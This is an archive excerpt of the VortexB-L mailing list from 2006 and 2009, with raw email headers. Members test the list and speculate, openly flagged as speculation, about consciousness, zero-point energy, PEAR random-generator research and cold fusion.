Primary Hostname - server26.fastbighost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3976 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 220 :) -----Original Message----- From: Terry Blanton [mailto:terry1094@yahoo.com] Sent: Friday, April 14, 2006 10:04 AM To: vortexb-l@eskimo.com Subject: test does this still work? __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From vortexb-l-request@eskimo.com Sat Apr 15 06:51:47 2006 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.13.6/8.13.4) with ESMTP id k3FDpQw4027053; Sat, 15 Apr 2006 06:51:26 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.13.6/8.12.10/Submit) id k3FDp7Yk026950; Sat, 15 Apr 2006 06:51:07 -0700 Resent-Date: Sat, 15 Apr 2006 06:51:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=182fzAkzaiOP9TNFBAtc0Feo4f6V6zIiBbbKdIoR1JxdRT4M9WBar83Q3DPlwjOi0YqdzNiacpVmNofTOe97nifwelCJXZwrjcmfu6Fmukndw4RFTRLndOCE1xAHje7ZQFoXfu6RM3HVoe5tAK0264roC4G5xEVY9SI/cHFO480= ; Message-ID: <20060415135050.21986.qmail@web51709.mail.yahoo.com> Date: Sat, 15 Apr 2006 06:50:50 -0700 (PDT) From: Terry Blanton Subject: RE: test To: vortexb-l@eskimo.com In-Reply-To: <000801c66014$80899330$8101a8c0@RicksL2000> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3977 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 221 --- Rick Monteverde wrote: > :) Aloha! Looks like the list is active only to the older subscribers. It does not show up to newer subscribers. BTW, what do you think of the Sprain Magnetic Motor? Terry __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From vortexb-l-request@eskimo.com Sat Apr 15 13:29:30 2006 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.13.6/8.13.4) with ESMTP id k3FKT8Dg030190; Sat, 15 Apr 2006 13:29:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.13.6/8.12.10/Submit) id k3FKSusG030130; Sat, 15 Apr 2006 13:28:56 -0700 Resent-Date: Sat, 15 Apr 2006 13:28:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Rick Monteverde" To: Subject: RE: test Date: Sat, 15 Apr 2006 10:28:45 -1000 Message-ID: <000001c660cb$33bd4f30$69bcdc0a@RicksL2000> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 In-Reply-To: <20060415135050.21986.qmail@web51709.mail.yahoo.com> Thread-Index: AcZglDNgt4Q05yu6RXqJFCS3oDvR4gANmlvg X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server26.fastbighost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3978 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 222 Terry - Been to busy lately with the so-called "real world" that I'm not up to speed on that, although I have been lurking Vortex when I have the chance. Another rotational SMOT? Any replications? - Rick -----Original Message----- From: Terry Blanton [mailto:terry1094@yahoo.com] Sent: Saturday, April 15, 2006 3:51 AM To: vortexb-l@eskimo.com Subject: RE: test --- Rick Monteverde wrote: > :) Aloha! Looks like the list is active only to the older subscribers. It does not show up to newer subscribers. BTW, what do you think of the Sprain Magnetic Motor? Terry __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From vortexb-l-request@eskimo.com Wed May 20 23:26:29 2009 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id n4L6QOXt004492; Wed, 20 May 2009 23:26:24 -0700 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id n4L6QNPt004486; Wed, 20 May 2009 23:26:23 -0700 Resent-Date: Wed, 20 May 2009 23:26:23 -0700 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Wed, 20 May 2009 23:26:27 -0700 (PDT) From: William Beaty To: vortexb-l@eskimo.com Subject: This is VortexB-L... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3981 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: A X-Keywords: X-UID: 223 To send messages to vortexB, you can reply to this message. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Wed May 20 23:50:20 2009 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id n4L6oF8u005845; Wed, 20 May 2009 23:50:15 -0700 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id n4L6oEME005835; Wed, 20 May 2009 23:50:14 -0700 Resent-Date: Wed, 20 May 2009 23:50:14 -0700 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Wed, 20 May 2009 23:50:18 -0700 (PDT) From: William Beaty To: vortexb-l@eskimo.com Subject: Re: This is VortexB-L... In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3982 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 224 > OK, Bill, I'll shoot - what is VortexB ? People have forgotten about vortexB, and it hasn't been used in two or three years. From the website: VORTEX B: Besides "vortex-L", there is also "vortexB-L." This is a secondary forum which has no rules. We use it for extremely off-topic discussions, and also as a flameproof place for any groups who feel a need to engage in verbal fisticuffs. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Thu May 21 00:00:38 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4L70VUr026309; Thu, 21 May 2009 00:00:35 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4L70TnK026303; Thu, 21 May 2009 00:00:29 -0700 Resent-Date: Thu, 21 May 2009 00:00:29 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> From: Zachary Jones To: vortexb-l@eskimo.com In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Subject: Re: This is VortexB-L... Mime-Version: 1.0 (Apple Message framework v935.3) Date: Thu, 21 May 2009 00:00:21 -0700 References: X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3983 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 225 If zero-point fluctuations are sensitive to consciousness, and given the PEAR / ICRL research showing operator influence upon random-event generators, does the advent of ZPE power generation contain an ethics debate? Is it reasonable to conjecture a mind-state that generates optimum power levels? Postulating that any strong mind state would increase ZPE power output, what could be the societal ramifications for choosing energy providers based on their values? Thank you, Zak On May 20, 2009, at 11:26 PM, William Beaty wrote: > > To send messages to vortexB, you can reply to this message. > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > William J. Beaty SCIENCE HOBBYIST website > billb at amasci com http://amasci.com > EE/programmer/sci-exhibits amateur science, hobby projects, sci fair > Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci > From vortexb-l-request@eskimo.com Thu May 21 05:13:58 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LCDuOA022586; Thu, 21 May 2009 05:13:56 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LCDtII022580; Thu, 21 May 2009 05:13:55 -0700 Resent-Date: Thu, 21 May 2009 05:13:55 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Eon-Dm: sj1-dm103 X-Eon-Sig: AQLjws5KFUV/WnPmUQIAAAAB,1cd8a8533e7386cb76a99645d8c49a21 Mime-Version: 1.0 (Apple Message framework v753) In-Reply-To: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> Content-Transfer-Encoding: 7bit From: Horace Heffner Subject: PEAR/ ICRL research Date: Thu, 21 May 2009 04:13:31 -0800 To: vortexb-l@eskimo.com X-Mailer: Apple Mail (2.753) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3984 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 226 On May 20, 2009, at 11:00 PM, Zachary Jones wrote: > If zero-point fluctuations are sensitive to consciousness, > > and given the PEAR / ICRL research showing operator influence upon > random-event generators, > > does the advent of ZPE power generation contain an ethics debate? > > Is it reasonable to conjecture a mind-state that generates optimum > power levels? > > Postulating that any strong mind state would increase ZPE power > output, what could be the societal ramifications for choosing > energy providers based on their values? > > > > Thank you, > Zak Why is this not being posted to vortex-l? It seems to me to be an on topic post. I have some doubts about the PEAR / ICRL work (done at Princeton if I recall) due to the whitening methods applied. I posted on this topic on vortex-l, and have summarized some suggestions for improved whitening techniques here: http://www.mtaonline.net/~hheffner/RandPad.pdf This info might be way out of date because I haven't followed the project since then. My point earlier was that the whitening methods used have flaws, so the random number generators are not truly random. This presents two problems: (1) improving the whitening technique (I provided a means to do this) and (2) consideration of the fact that the raw data should not be whitened at all, because the whitening method may be washing out the very data sought. The need for whitening is primarily due to hysteresis, bias, introduced into the random pad due to electronic circuits or other physical processes. This kind of systematic bias can be handled by choice of the statistical technique applied, e.g. by use of the Student's t-distribution (t-test) methods to compare samples over separate time intervals. Best regards, Horace Heffner http://www.mtaonline.net/~hheffner/ From vortexb-l-request@eskimo.com Thu May 21 06:27:24 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LDRN1m025096; Thu, 21 May 2009 06:27:23 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LDRBfq025053; Thu, 21 May 2009 06:27:11 -0700 Resent-Date: Thu, 21 May 2009 06:27:11 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=u6ACk+M5baFxkOvN8NhysViYEEfmgl/57R97lf8+zYQ=; b=stRPoFwwNBFQFV69lm9byfSQ6bE0bJDmkVyXIR8Th1+e9uIp7lxPgbMYVm2IJWB7kV KsMhXLmDEAIQ119gF5vJvWoi/xlcp0JEdXYL4baP3RFK58zMN6xWp8iyn9eFL/okhzlg 3MpKS+cD6hqrf3qWv/rcz2i9U4H9QusBz1osA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=ChLd4k0yYWrfxaL42k23DgqsZCYiAlOeBaqcECTb/DuG46olhu5LzjIaPVpMWDbeoE MsTCh8Ac/Z+TOoqD8FEUi9vXKT02cxkO498F/8SonwRxNKKibR5ChvOpk9jzLgrDZC/Q 6Os+cNEck/sVCIPPNQXs8SnY0Gfq6dvlrvkK0= MIME-Version: 1.0 In-Reply-To: References: Date: Thu, 21 May 2009 08:27:09 -0500 Message-ID: Subject: Re: This is VortexB-L... From: OrionWorks To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3985 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: A X-Keywords: X-UID: 227 As a frequent purveyor of OT subjects it is only fitting that I sentence a significant portion of my postings to the "B" group. In my own defense I will state for the record that I have always strived [sp?] to increase the quality of "B" topic static. I noticed that there doesn't appear to be something equivalent to a "[VO]" prefix attached to Vortex-B messages. Would it be possible to modify the Vortex-B scrip so that a prefix, such as "[VoB]" be attached? It would certainly make it a whole lot easier distinguishing "B" topics from everything else. Ok Grok. You're invited to come along for the ride. I have many questions. Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 06:59:10 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LDwwjP022609; Thu, 21 May 2009 06:59:03 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LDwvFG022602; Thu, 21 May 2009 06:58:57 -0700 Resent-Date: Thu, 21 May 2009 06:58:57 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 06:58:47 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: This is VortexB-L... Message-ID: <20090521135846.GA1262@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Indigo, K-73, SA-19 Grisom, Green Dragon, Loin User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <2OrxY.A.GhF.h4VFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3986 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 228 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > Ok Grok. You're invited to come along for the ride. I have many questions. Ever in denial, eh? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoVXhYACgkQXo3EtEYbt3FJyQCfRUHuxaG7xOBFDfTz61lala7z MeUAoK6iyATMBJTFY2ZQ4vNk6QqjYfyR =Mrgf -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 07:29:53 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LETmdh014195; Thu, 21 May 2009 07:29:52 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LETixF014177; Thu, 21 May 2009 07:29:44 -0700 Resent-Date: Thu, 21 May 2009 07:29:44 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=N66MYBObHCUWRmlU6T65fvjazBinQl6FmvHwb/98u4Y=; b=C+zXXVBy9/qxHQtlMrn/FnKlpV1zBMBtGowZbMlw+sv0qDGMOOFKoE+tkOEJCEZ48a aL4TFK1xpFD8I6FnwVezh1uuhSc2NajlpqWSjwVCD6CMByR6P8DdNOcD7tGeN895dISC g8be8W93Rc4179DXGNLFK+/QsfHSU6weW3tOc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=NMjIq6zGQ5RsKj4du0FxhjuKlaOOkWYF2v+hNOH1l3pwHIs4YmCAUSQFpyXYN1yrsh dc9u13VXNQEoIiUXfF2K1SbP4YVLhhdW1y9kOWl9nV8AP77k88NeOFV+oBtI79rXLzIa pSpuVfu573OntSgHbFvVT1G77d8onDRmwSvFI= MIME-Version: 1.0 In-Reply-To: References: Date: Thu, 21 May 2009 10:29:42 -0400 Message-ID: <4a2adf8d0905210729i2b914002k3871f04a95a8e90@mail.gmail.com> Subject: Re: This is VortexB-L... From: albedo5 To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd29b2c8a938e046a6cf984 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3987 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 229 --000e0cd29b2c8a938e046a6cf984 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Will this be where the cool kids hang out now? Debbie (hiya Rick!) On Thu, May 21, 2009 at 2:26 AM, William Beaty wrote: > > To send messages to vortexB, you can reply to this message. > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > William J. Beaty SCIENCE HOBBYIST website > billb at amasci com http://amasci.com > EE/programmer/sci-exhibits amateur science, hobby projects, sci fair > Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci > > --000e0cd29b2c8a938e046a6cf984 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Will this be where the cool kids hang out now?


Debbie (hiya Rick= !)

On Thu, May 21, 2009 at 2:26 AM, Willi= am Beaty <billb@es= kimo.com> wrote:

To send messages to vortexB, you can reply to this message.


(((((((((((((((((( ( ( =A0( =A0 ( =A0 =A0(O) =A0 =A0) =A0 ) =A0) ) ))))))))= )))))))))))
William J. Beaty =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0SCI= ENCE HOBBYIST website
billb at amasci com =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 http://amasci.com
EE/programmer/sci-exhibits =A0 amateur science, hobby projects, sci fair Seattle, WA =A0206-762-3818 =A0 =A0unusual phenomena, tesla coils, weird sc= i


--000e0cd29b2c8a938e046a6cf984-- From vortexb-l-request@eskimo.com Thu May 21 08:35:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LFZMIV011997; Thu, 21 May 2009 08:35:22 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LFZEli011964; Thu, 21 May 2009 08:35:14 -0700 Resent-Date: Thu, 21 May 2009 08:35:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4A157496.4030301@lacy.com.ar> Date: Thu, 21 May 2009 12:34:46 -0300 From: Mauro Lacy User-Agent: Thunderbird 2.0.0.21 (X11/20090409) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: This is VortexB-L... References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> In-Reply-To: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> X-Enigmail-Version: 0.95.7 OpenPGP: id=C6D2C30D; url=http://maurol.com.ar/publickey.asc Content-Type: multipart/alternative; boundary="------------060709010708040100060601" X-AV-Checked: ClamAV using ClamSMTP Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3988 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 230 This is a multi-part message in MIME format. --------------060709010708040100060601 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Zachary Jones wrote: > If zero-point fluctuations are sensitive to consciousness, > > and given the PEAR / ICRL research showing operator influence upon > random-event generators, > > does the advent of ZPE power generation contain an ethics debate? > > Is it reasonable to conjecture a mind-state that generates optimum > power levels? > Hi, This is almost pure speculation on my part, but I certainly think that there's a connection between mind and matter(i.e. mind influencing matter.) I tell you in advance: I have no proofs. There are some references to this, and there is people that is working on this. See by example the Mind Matter Unification Project, where Josephson is. There is also the Global Consciousness Project, which claims some interesting results. There is also these weird results that seem to imply a connection between consciousness and a kind of anticipation, that is, it seems that our brain "knows in advance", so to speak, for a few seconds, about the physical reality. That is in complete disagreement with actual scientific theories relating the mind to no more than some kind of bioelectric field in our brains. I think that a mind matter link will provide a nice explanation to all those historically reported anomalous alchemical results (lead conversion to gold, the philosopher's stone sagas, etc.), and their relatively rare occurrence/lack of replicability/aura of mystery, etc. There could be more than deception and fraud in those stories. A kind of big tapestry where all these anomalies can be explained and put into their respective places. > Postulating that any strong mind state would increase ZPE power > output, what could be the societal ramifications for choosing energy > providers based on their values? > That's very far fetched. We just didn't know if this is the case, to speculate about the societal ramifications of that. IMO, these are things that will become clearer in the future. A relatively distant future, by the way. And for a long previous time, they will be no more than "anomalies", rarities, mysteries, etc. Last but not least. And this is pure speculation also: In cold fusion research, by example, there could be other factors that could be affecting the outcome and replicability of the experiments. Besides some kind of mind-matter effect / observer effect, etc, the outcome of the experiments can be related to the time of day, by example. Or to the latitude. Or to the local gravitational potential. Or to the relative position of the planets. Etc. Correct me of I'm wrong, but all that we actually know with relative certainty is that the rate of replicability seems to be related to the structure of the surface of the Pd cathode. And AFAIK, nobody seems to know for certain what are the exact conditions that are needed to trigger the effect. The fact that sometimes weeks are needed to observe the effect, points to a time related condition, that is, to some dynamical thing, that not necessarily must be local; one dynamical condition, or a coincidence of dynamical conditions, some of which could be non local, seems to be required for the effect to manifest. > > > Thank you, > Zak > > > > On May 20, 2009, at 11:26 PM, William Beaty wrote: > > >> To send messages to vortexB, you can reply to this message. >> >> >> (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) >> William J. Beaty SCIENCE HOBBYIST website >> billb at amasci com http://amasci.com >> EE/programmer/sci-exhibits amateur science, hobby projects, sci fair >> Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci >> >> > > > --------------060709010708040100060601 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Zachary Jones wrote: 
If zero-point fluctuations are sensitive to consciousness,

and given the PEAR / ICRL research showing operator influence upon  
random-event generators,

does the advent of ZPE power generation contain an ethics debate?

Is it reasonable to conjecture a mind-state that generates optimum  
power levels?

Hi,
This is almost pure speculation on my part, but I certainly think that there's a connection between mind and matter(i.e. mind influencing matter.)
I tell you in advance: I have no proofs.
There are some references to this, and there is people that is working on this. See by example the Mind Matter Unification Project, where Josephson is.
There is also the Global Consciousness Project, which claims some interesting results.

There is also these weird results that seem to imply a connection between consciousness and a kind of anticipation, that is, it seems that our brain "knows in advance", so to speak, for a few seconds, about the physical reality. That is in complete disagreement with actual scientific theories relating the mind to no more than some kind of bioelectric field in our brains.

I think that a mind matter link will provide a nice explanation to all those historically reported anomalous alchemical results (lead conversion to gold, the philosopher's stone sagas, etc.), and their relatively rare occurrence/lack of replicability/aura of mystery, etc.
There could be more than deception and fraud in those stories. A kind of big tapestry where all these anomalies can be explained and put into their respective places.

Postulating that any strong mind state would increase ZPE power  
output, what could be the societal ramifications for choosing energy  
providers based on their values?

That's very far fetched. We just didn't know if this is the case, to speculate about the societal ramifications of that. IMO, these are things that will become clearer in the future. A relatively distant future, by the way. And for a long previous time, they will be no more than "anomalies", rarities, mysteries, etc.

Last but not least. And this is pure speculation also:
In cold fusion research, by example, there could be other factors that could be affecting the outcome and replicability of the experiments. Besides some kind of mind-matter effect / observer effect, etc, the outcome of the experiments can be related to the time of day, by example. Or to the latitude. Or to the local gravitational potential. Or to the relative position of the planets. Etc.

Correct me of I'm wrong, but all that we actually know with relative certainty is that the rate of replicability seems to be related to the structure of the surface of the Pd cathode. And AFAIK, nobody seems to know for certain what are the exact conditions that are needed to trigger the effect. The fact that sometimes weeks are needed to observe the effect, points to a time related condition, that is, to some dynamical thing, that not necessarily must be local; one dynamical condition, or a coincidence of dynamical conditions, some of which could be non local, seems to be required for the effect to manifest.



Thank you,
Zak



On May 20, 2009, at 11:26 PM, William Beaty wrote:

  
To send messages to vortexB, you can reply to this message.


(((((((((((((((((( ( (  (   (    (O)    )   )  ) ) )))))))))))))))))))
William J. Beaty                            SCIENCE HOBBYIST website
billb at amasci com                         http://amasci.com
EE/programmer/sci-exhibits   amateur science, hobby projects, sci fair
Seattle, WA  206-762-3818    unusual phenomena, tesla coils, weird sci

--------------060709010708040100060601-- From vortexb-l-request@eskimo.com Thu May 21 08:40:49 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LFeh3P013030; Thu, 21 May 2009 08:40:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LFehbS013023; Thu, 21 May 2009 08:40:43 -0700 Resent-Date: Thu, 21 May 2009 08:40:43 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=/EZzbSwUCWtOcoems99RBalZo+rGa67ovP7DdhMD36U=; b=tMGtL5eXvdr/LFFIrv9mPKH5aoFGqHb49kgMoQcd4apM1S4eag91Yncvltdx6CmNCP AI27a5cok801jEcOzvYqBcVPu9GBz4OCGGHt0Jvo+ro4G9uMJUdk49Oa1YGYApEFRLxH E6GSmPgNPQnxUUpDaOneFPGZQrmvpONE2b2Ok= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to 